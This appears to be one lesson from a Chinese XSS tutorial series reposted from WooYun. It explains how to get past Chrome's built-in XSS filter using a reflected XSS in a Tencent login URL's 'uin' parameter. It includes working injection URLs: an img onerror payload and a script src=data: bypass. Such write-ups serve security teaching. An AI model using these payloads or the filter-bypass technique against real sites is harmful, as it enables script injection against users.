# 17\. XSS 過濾器繞過 [通用繞過]
> 來源:[17\. XSS 過濾器繞過 \[通用繞過\]](http://www.wooyun.org/bugs/wooyun-2010-016672)
## 簡要描述
關于反射型的基本東西,暫時就到這啦,如果后面有什么好的 case,再做增補。最近,有些人會問到怎么繞過瀏覽器的 XSS 過濾 器,所以從這節開始,給出點繞過的例子。當然這些繞過瀏覽器的方法,不是萬能的。不同瀏覽器,不同場景都會存在差異。滿足場景 要求時,才可以使用。
此文給出的是一個來自 sogili 分享的 chrome 下繞過過濾器的方法,在騰訊某處 XSS 上的應用。 這一類都算是“結合了一定場景”,繞過了瀏覽器自身的防御機制,具有一定的通用性,我們稱為“通用繞過”(瞎起的名字,別在意)。但是在后續版本的瀏覽器中,這些技巧可能會被瀏覽器干掉從而失效。再次強調:通用不是全部都行,意思是所適用的場景實際發生的概率比較高!
## 詳細說明
1\. 其實就是個普通的 XSS 點,uin 參數沒有對任何字符進行過濾。
```
http://bangbang.qq.com/php/login?game=roco&uin](http://bangbang.qq.com/php/login?game=roco&uin)="><img src=1 onerror=alert(1)>&world=5&roleid=44583443&level=8&role=%2
```
2\. 正是由于這個點什么都沒過濾,瀏覽器自身的防御機制也最好發揮作用,瞧瞧,chrome 攔截了。。

有的新手,不知道有過濾器的,更是會覺得 “啊,這是怎么回事,怎么不行啊,明明可以的。。” 我們只要看到 console 里有上面那句,就說明 chrome 的過濾器大發神威了!!
3\. 我們也看看源碼。

危害部分被和諧了。
4\. 那么怎么繞過呢? 這里直接說方法。
5\. 首先要求缺陷點,允許 `<` , `>` 。其次,要求缺陷點的后方存在 `</script>` 標簽。 我們看看當前的這個點的代碼。
```
...
<input type="hidden" id="sClientUin" value=""><img src=1 onerror=alert(1)>">
...
<script type="text/javascript" src="http://pingjs.qq.com/tcss.ping.js"></script>
...
```
6\. 可以看到上面的要求均滿足。我們就可以使用以下技巧。
7\. 代入到我們的利用代碼里。
```
http://bangbang.qq.com/php/login?game=roco&uin="><script src=data:,alert(1)<!--&world=5&roleid=44583443&level=8&role=%2
```
這次,我們就成功啦。

## 修復方案
參見教程 (1\. 什么都沒過濾的入門情況)
- 1. 什么都沒過濾的入門情況
- 2. 輸出在&lt;script&gt;&lt;/script&gt;之間的情況
- 3. 輸出在 HTML 屬性里的情況
- 4. 寬字節復仇記 [QQ 郵箱基本通用]
- 5. 反斜線復仇記
- 6. 換行符復仇記
- 7. 寬字節、反斜線與換行符一起復仇記
- 8. Dom Xss 入門 [顯式輸出]
- 9. Dom Xss 入門 [隱式輸出]
- 10. Dom Xss 進階 [邂逅 eval]
- 11. Dom Xss 進階 [善變 iframe]
- 12. Dom Xss 進階 [路徑 con]
- 13. Dom Xss 實例 [Discuz X2.5]
- 14. Flash Xss 入門 [navigateToURL]
- 15. Flash Xss 進階 [ExternalInterface.call 第一個參數]
- 16. Flash Xss 進階 [ExternalInterface.call 第二個參數]
- 17. XSS 過濾器繞過 [通用繞過]
- 18. XSS 過濾器繞過 [猥瑣繞過]
- 19. 存儲型 XSS 入門 [什么都沒過濾的情況]
- 20. 存儲型 XSS 入門 [套現繞過富文本]
- 21. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS]